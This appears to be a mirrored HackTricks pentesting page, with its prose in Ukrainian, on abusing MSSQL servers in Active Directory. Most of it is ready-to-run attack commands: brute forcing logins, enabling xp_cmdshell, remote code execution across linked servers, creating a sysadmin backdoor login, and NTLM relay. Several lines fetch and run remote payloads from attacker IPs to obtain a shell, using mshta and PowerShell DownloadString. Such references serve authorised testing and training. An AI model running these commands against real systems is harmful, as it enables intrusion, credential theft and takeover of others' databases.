mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
292 lines
15 KiB
Markdown
292 lines
15 KiB
Markdown
# MSSQL AD Abuse
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
|
||
## **MSSQL Enumeration / Discovery**
|
||
|
||
### Python
|
||
|
||
Інструмент [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) базується на impacket і також дозволяє аутентифікацію за допомогою квитків kerberos та атаки через ланцюги посилань.
|
||
|
||
<figure><img src="https://raw.githubusercontent.com/ScorpionesLabs/MSSqlPwner/main/assets/interractive.png"></figure>
|
||
```shell
|
||
# Interactive mode
|
||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
|
||
|
||
# Interactive mode with 2 depth level of impersonations
|
||
|
||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
|
||
|
||
# Executing custom assembly on the current server with windows authentication and executing hostname command
|
||
|
||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
|
||
|
||
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
|
||
|
||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
|
||
|
||
# Executing the hostname command using stored procedures on the linked SRV01 server
|
||
|
||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
|
||
|
||
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
|
||
|
||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
|
||
|
||
# Issuing NTLM relay attack on the SRV01 server
|
||
|
||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
|
||
|
||
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
|
||
|
||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
|
||
|
||
# Issuing NTLM relay attack on the local server with custom command
|
||
|
||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
||
|
||
# Executing direct query
|
||
|
||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
|
||
|
||
# Retrieving password from the linked server DC01
|
||
|
||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
|
||
|
||
# Execute code using custom assembly on the linked server DC01
|
||
|
||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
|
||
|
||
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
|
||
|
||
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
|
||
|
||
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
|
||
|
||
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
|
||
|
||
# Bruteforce using tickets against the hosts listed on the hosts.txt
|
||
|
||
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
|
||
|
||
# Bruteforce using passwords against the hosts listed on the hosts.txt
|
||
|
||
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
|
||
|
||
# Bruteforce using hashes against the hosts listed on the hosts.txt
|
||
|
||
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
|
||
|
||
```
|
||
### Перерахунок з мережі без доменної сесії
|
||
```
|
||
|
||
# Interactive mode
|
||
|
||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
|
||
|
||
````
|
||
---
|
||
### Powershell
|
||
|
||
Модуль powershell [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) є дуже корисним у цьому випадку.
|
||
```bash
|
||
Import-Module .\PowerupSQL.psd1
|
||
````
|
||
### Перерахунок з мережі без доменної сесії
|
||
```bash
|
||
# Get local MSSQL instance (if any)
|
||
Get-SQLInstanceLocal
|
||
Get-SQLInstanceLocal | Get-SQLServerInfo
|
||
|
||
#If you don't have a AD account, you can try to find MSSQL scanning via UDP
|
||
#First, you will need a list of hosts to scan
|
||
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10
|
||
|
||
#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
|
||
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
|
||
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
|
||
```
|
||
### Перерахунок зсередини домену
|
||
```bash
|
||
# Get local MSSQL instance (if any)
|
||
Get-SQLInstanceLocal
|
||
Get-SQLInstanceLocal | Get-SQLServerInfo
|
||
|
||
#Get info about valid MSQL instances running in domain
|
||
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
|
||
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
|
||
|
||
# Try dictionary attack to login
|
||
Invoke-SQLAuditWeakLoginPw
|
||
|
||
# Search SPNs of common software and try the default creds
|
||
Get-SQLServerDefaultLoginPw
|
||
|
||
#Test connections with each one
|
||
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
|
||
|
||
#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
|
||
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
|
||
|
||
# Get DBs, test connections and get info in oneliner
|
||
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
|
||
```
|
||
## MSSQL Basic Abuse
|
||
|
||
### Access DB
|
||
```bash
|
||
# List databases
|
||
Get-SQLInstanceDomain | Get-SQLDatabase
|
||
|
||
# List tables in a DB you can read
|
||
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName DBName
|
||
|
||
# List columns in a table
|
||
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName DBName -TableName TableName
|
||
|
||
# Get some sample data from a column in a table (columns username & passwor din the example)
|
||
Get-SQLInstanceDomain | GetSQLColumnSampleData -Keywords "username,password" -Verbose -SampleSize 10
|
||
|
||
#Perform a SQL query
|
||
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
|
||
|
||
#Dump an instance (a lot of CVSs generated in current dir)
|
||
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
|
||
|
||
# Search keywords in columns trying to access the MSSQL DBs
|
||
## This won't use trusted SQL links
|
||
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize
|
||
```
|
||
### MSSQL RCE
|
||
|
||
Можливо також **виконувати команди** всередині хоста MSSQL
|
||
```bash
|
||
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
|
||
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
|
||
```
|
||
Перевірте на сторінці, згаданій у **наступному розділі, як зробити це вручну.**
|
||
|
||
### MSSQL Основні Хакерські Трюки
|
||
|
||
{{#ref}}
|
||
../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
|
||
{{#endref}}
|
||
|
||
## MSSQL Довірені Посилання
|
||
|
||
Якщо екземпляр MSSQL є довіреним (посилання на базу даних) іншим екземпляром MSSQL. Якщо у користувача є привілеї над довіреною базою даних, він зможе **використовувати довірчі відносини для виконання запитів також в іншому екземплярі**. Ці довіри можуть бути з'єднані, і в якийсь момент користувач може знайти неправильно налаштовану базу даних, де він може виконувати команди.
|
||
|
||
**Посилання між базами даних працюють навіть через довіри лісу.**
|
||
|
||
### Зловживання Powershell
|
||
```bash
|
||
#Look for MSSQL links of an accessible instance
|
||
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
|
||
|
||
#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
|
||
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose
|
||
|
||
#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
|
||
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'
|
||
|
||
#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
|
||
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"
|
||
|
||
#Obtain a shell
|
||
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
|
||
|
||
#Check for possible vulnerabilities on an instance where you have access
|
||
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"
|
||
|
||
#Try to escalate privileges on an instance
|
||
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"
|
||
|
||
#Manual trusted link queery
|
||
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
|
||
## Enable xp_cmdshell and check it
|
||
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
|
||
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
|
||
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
|
||
## If you see the results of @@selectname, it worked
|
||
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
|
||
```
|
||
Інший подібний інструмент, який можна використовувати, це [**https://github.com/lefayjey/SharpSQLPwn**](https://github.com/lefayjey/SharpSQLPwn):
|
||
```bash
|
||
SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
|
||
# Cobalt Strike
|
||
inject-assembly 4704 ../SharpCollection/SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
|
||
```
|
||
### Metasploit
|
||
|
||
Ви можете легко перевірити надійні посилання, використовуючи metasploit.
|
||
```bash
|
||
#Set username, password, windows auth (if using AD), IP...
|
||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
|
||
```
|
||
Зверніть увагу, що metasploit намагатиметься зловживати лише функцією `openquery()` в MSSQL (отже, якщо ви не можете виконати команду з `openquery()`, вам потрібно буде спробувати метод `EXECUTE` **вручну** для виконання команд, див. нижче.)
|
||
|
||
### Вручну - Openquery()
|
||
|
||
З **Linux** ви можете отримати консольну оболонку MSSQL за допомогою **sqsh** та **mssqlclient.py.**
|
||
|
||
З **Windows** ви також можете знайти посилання та виконати команди вручну, використовуючи **клієнт MSSQL, такий як** [**HeidiSQL**](https://www.heidisql.com)
|
||
|
||
_Увійдіть за допомогою аутентифікації Windows:_
|
||
|
||
.png>)
|
||
|
||
#### Знайти надійні посилання
|
||
```sql
|
||
select * from master..sysservers;
|
||
EXEC sp_linkedservers;
|
||
```
|
||
.png>)
|
||
|
||
#### Виконати запити в надійному посиланні
|
||
|
||
Виконуйте запити через посилання (наприклад: знайдіть більше посилань у новій доступній інстанції):
|
||
```sql
|
||
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||
```
|
||
> [!WARNING]
|
||
> Перевірте, де використовуються подвійні та одинарні лапки, важливо використовувати їх саме так.
|
||
|
||
.png>)
|
||
|
||
Ви можете продовжувати цей ланцюг довірених посилань вічно вручну.
|
||
```sql
|
||
# First level RCE
|
||
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
|
||
|
||
# Second level RCE
|
||
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')
|
||
```
|
||
Якщо ви не можете виконати дії, такі як `exec xp_cmdshell` з `openquery()`, спробуйте метод `EXECUTE`.
|
||
|
||
### Ручний - EXECUTE
|
||
|
||
Ви також можете зловживати довіреними посиланнями, використовуючи `EXECUTE`:
|
||
```bash
|
||
#Create user and give admin privileges
|
||
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
||
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
||
```
|
||
## Підвищення локальних привілеїв
|
||
|
||
**MSSQL локальний користувач** зазвичай має спеціальний тип привілею, званий **`SeImpersonatePrivilege`**. Це дозволяє обліковому запису "вдаватись до клієнта після аутентифікації".
|
||
|
||
Стратегія, яку розробили багато авторів, полягає в тому, щоб змусити службу SYSTEM аутентифікуватись до зловмисної або атаки "людина посередині" служби, яку створює зловмисник. Ця зловмисна служба потім може вдаватися до служби SYSTEM під час спроби аутентифікації.
|
||
|
||
[SweetPotato](https://github.com/CCob/SweetPotato) має колекцію цих різних технік, які можна виконати за допомогою команди `execute-assembly` Beacon.
|
||
|
||
### NTLM Relay для управлінської точки SCCM (витягування секретів OSD)
|
||
Дивіться, як стандартні SQL ролі **Управлінських Точок** SCCM можуть бути зловживані для виведення облікового запису мережевого доступу та секретів послідовності завдань безпосередньо з бази даних сайту:
|
||
{{#ref}}
|
||
sccm-management-point-relay-sql-policy-secrets.md
|
||
{{#endref}}
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|